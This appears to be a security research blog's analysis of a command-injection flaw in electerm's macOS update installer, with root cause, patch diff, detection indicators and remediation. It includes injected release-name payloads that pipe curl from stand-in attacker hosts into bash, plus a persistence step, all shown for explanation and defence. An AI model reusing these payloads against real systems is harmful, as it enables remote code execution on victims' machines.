home intel cve-2026-41500-electerm-command-injection-rce
CVE Analysis 2026-05-08 · 7 min read

CVE-2026-41500: Command Injection in electerm's runMac() Yields RCE

electerm's npm/install.js appends unsanitized releaseInfo.name into a shell exec() call. Pre-3.3.8, a malicious update server achieves unauthenticated RCE on macOS.

#command-injection#remote-code-execution#code-execution#input-validation#npm-package
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41500 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41500Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41500 is a critical (CVSS 9.8) command injection vulnerability in electerm, an Electron-based cross-platform terminal emulator supporting SSH, SFTP, Telnet, RDP, VNC, and serial port connections. The vulnerability resides in npm/install.js at line 150, inside the runMac() function. Prior to version 3.3.8, the installer fetches release metadata from a remote endpoint and splices the attacker-controlled releaseInfo.name field directly into a shell command passed to Node.js's exec(). No sanitization, quoting, or validation occurs at any point in this path.

The attack surface is maximized because this code runs during the auto-update flow — triggered automatically when electerm checks for new releases. A network-positioned attacker (AitM, rogue update mirror, or DNS poisoning) can serve a crafted releaseInfo.name and achieve arbitrary OS command execution on the victim's macOS machine with the privileges of the running electerm process.

Root cause: runMac() in npm/install.js interpolates the remote releaseInfo.name string directly into an exec("open " + ...) shell command without any quoting, escaping, or allowlist validation.

Affected Component

  • Repository: github.com/electerm/electerm
  • File: npm/install.js, line 150
  • Function: runMac(releaseInfo)
  • Trigger: Auto-update flow fetching remote release metadata
  • Affected versions: All releases prior to 3.3.8
  • Fixed version: 3.3.8
  • Platform: macOS (primary); injection surface exists cross-platform

Root Cause Analysis

The installer fetches JSON release metadata from GitHub's releases API (or a configurable mirror), deserializes it into a releaseInfo object, and passes the object to platform-specific installer runners. On macOS, runMac() constructs an open command to mount and launch the downloaded .dmg:

// npm/install.js — VULNERABLE (pre-3.3.8)
// releaseInfo.name is populated directly from remote JSON, e.g.:
// { "name": "electerm-1.2.3-mac.dmg" }

async function runMac(releaseInfo) {
  const { name } = releaseInfo          // BUG: attacker-controlled, never validated
  const filePath = resolve(tmpdir(), name)

  await download(releaseInfo)           // downloads to /tmp/

  // BUG: `name` is interpolated into shell command without quoting or escaping.
  // A name like: foo.dmg; curl http://evil.com/sh | bash
  // expands to:  open /tmp/foo.dmg; curl http://evil.com/sh | bash
  exec(`open ${filePath}`)              // line 150 — shell injection here
}

The critical observation is the template literal `open ${filePath}` where filePath is the result of resolve(tmpdir(), name). Node.js's path.resolve performs no shell-metacharacter stripping. The resulting string is handed verbatim to exec(), which invokes /bin/sh -c under the hood — meaning semicolons, backticks, $(), pipes, and redirects all parse as shell syntax.

The download step uses name as the filename on disk, but this does not mitigate the injection: the shell sees the full expanded path string before the filesystem is consulted.

// Payload delivery: attacker controls the release JSON served at update endpoint
// Malicious releaseInfo JSON:
{
  "name": "electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #",
  "tag_name": "v9.9.9",
  "assets": [
    {
      "browser_download_url": "https://c2.attacker.io/electerm-pwn.dmg",
      "name": "electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #"
    }
  ]
}

// exec() receives:
// open /tmp/electerm-pwn.dmg; curl https://c2.attacker.io/stage1.sh | bash #
// /bin/sh -c parses this as THREE tokens:
//   1. open /tmp/electerm-pwn.dmg       (fails silently or succeeds)
//   2. curl https://c2.attacker.io/stage1.sh | bash   (executes attacker shell)
//   3. #  (comment — swallows any trailing arguments)

Exploitation Mechanics

EXPLOIT CHAIN:
1. POSITION: Attacker performs AitM (DNS spoofing, rogue Wi-Fi, BGP hijack)
   targeting electerm's update endpoint:
   api.github.com/repos/electerm/electerm/releases/latest
   — OR — compromise a third-party mirror configured by the user.

2. INTERCEPT: Serve crafted JSON with malicious `name` field:
   name = "electerm-pwn.dmg; curl https://c2.io/s | bash #"

3. DOWNLOAD: electerm calls download(releaseInfo), writing an arbitrary
   (possibly empty) file to:
   /tmp/electerm-pwn.dmg; curl https://c2.io/s | bash #
   Note: filename contains shell metacharacters — filesystem write may
   partially fail, but exec() triggers regardless.

4. EXECUTE: runMac() calls:
   exec(`open /tmp/electerm-pwn.dmg; curl https://c2.io/s | bash #`)
   /bin/sh -c splits on `;`, executes attacker curl | bash pipeline.

5. PERSIST: stage1.sh installs LaunchAgent plist for persistence:
   ~/Library/LaunchAgents/com.electerm.update.plist
   pointing to attacker C2 beacon.

6. ESCALATE: Process runs as current user. If electerm launched with
   sudo (common for serial port access), stage1.sh executes as root.

The attack requires no prior authentication, no user interaction beyond electerm being open and checking for updates (which it does on startup by default), and no CVE chaining. Single-stage exploitation.

Memory Layout

This is not a memory corruption vulnerability — it is a command injection operating at the shell interpretation layer. The relevant "layout" is the string construction pipeline:

STRING CONSTRUCTION PIPELINE (pre-3.3.8):

Remote JSON (attacker-controlled)
  └─► releaseInfo.name
        = "electerm-1.3.7-mac.dmg; open -a Calculator #"
              │
              ▼
      path.resolve(os.tmpdir(), name)
        = "/tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
              │  (no metachar stripping)
              ▼
      Template literal interpolation:
        `open ${filePath}`
        = "open /tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
              │
              ▼
      child_process.exec(cmd)
              │
              ▼
      /bin/sh -c "open /tmp/electerm-1.3.7-mac.dmg; open -a Calculator #"
              │
              ├── Token 1: open /tmp/electerm-1.3.7-mac.dmg   [benign]
              └── Token 2: open -a Calculator                  [INJECTED]

SHELL METACHARACTERS THAT TRIGGER INJECTION:
  ;    command separator      → always works
  &&   conditional chain      → works if open succeeds
  ||   conditional chain      → works if open fails (likely)
  `..` command substitution   → works
  $()  command substitution   → works
  |    pipe                   → works
  \n   newline                → works

Patch Analysis

Version 3.3.8 addresses the vulnerability by validating releaseInfo.name against a strict allowlist pattern before constructing the file path, and by switching from exec() (shell-spawning) to execFile() (direct process spawn, no shell interpretation):

// BEFORE (vulnerable, pre-3.3.8):
async function runMac(releaseInfo) {
  const { name } = releaseInfo          // BUG: unsanitized remote input
  const filePath = resolve(tmpdir(), name)
  await download(releaseInfo)
  exec(`open ${filePath}`)              // BUG: shell-interpolated exec
}

// AFTER (patched, v3.3.8):
const VALID_RELEASE_NAME = /^[\w.\-]+$/  // allowlist: alphanumeric, dot, hyphen, underscore only

async function runMac(releaseInfo) {
  const { name } = releaseInfo

  // FIX 1: validate name against strict allowlist before any use
  if (!VALID_RELEASE_NAME.test(name)) {
    throw new Error(`Invalid release name: ${name}`)
  }

  const filePath = resolve(tmpdir(), name)
  await download(releaseInfo)

  // FIX 2: execFile() does not invoke a shell; arguments are passed
  // directly to execvp(), making shell metacharacters inert
  execFile('open', [filePath])
}

The two-layer fix is correct. The allowlist regex /^[\w.\-]+$/ rejects any string containing ;, &, |, $, backtick, or whitespace — blocking all known injection vectors. The execFile() change is defense-in-depth: even if the regex were bypassed (e.g., via Unicode normalization tricks), no shell is ever invoked to parse the argument.

One note: the patch does not enforce a maximum length on name. An extremely long name could still cause path.resolve to exceed OS filename limits (NAME_MAX = 255 on HFS+/APFS), resulting in a ENAMETOOLONG error. This is DoS at worst, not RCE, but worth noting for defense completeness.

Detection and Indicators

If you suspect exploitation, look for the following:

PROCESS INDICATORS:
  Parent: electerm (Electron/Node.js)
  Child:  /bin/sh -c "open /tmp/[...]; [suspicious command]"
  — or —
  Child:  curl | bash spawned from electerm's renderer/main process

FILESYSTEM INDICATORS:
  /tmp/ entries with filenames containing shell metacharacters:
    ls -la /tmp/ | grep -E '[;|&$`]'

  Suspicious LaunchAgent plists:
    ~/Library/LaunchAgents/com.electerm.*.plist  (unexpected)

NETWORK INDICATORS:
  DNS queries for api.github.com resolving to unexpected IPs
  electerm process making outbound connections to non-GitHub hosts
  during update check (port 443, non-github.com destinations)

LOG ARTIFACTS (macOS Unified Log):
  log show --predicate 'process == "electerm"' --info | \
    grep -i 'exec\|spawn\|open'

Remediation

  • Upgrade immediately to electerm ≥ 3.3.8. The patch is minimal and non-breaking.
  • Verify update channel integrity: If you self-host an electerm update mirror, ensure TLS certificate pinning or checksum verification is in place for release metadata.
  • Network-level controls: Restrict electerm processes from making outbound connections to non-whitelisted hosts using macOS Application Firewall or a host-based EDR rule.
  • Audit similar patterns in your Node.js codebase: any exec(`... ${userInput}`) pattern is exploitable by definition. Prefer execFile(binary, [arg1, arg2]) as the default API choice.
  • For package maintainers: Treat all fields in remotely-fetched JSON as untrusted input. Validate with allowlist regex before use in any system call path. Do not rely on path.resolve or filesystem operations as a sanitization step.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →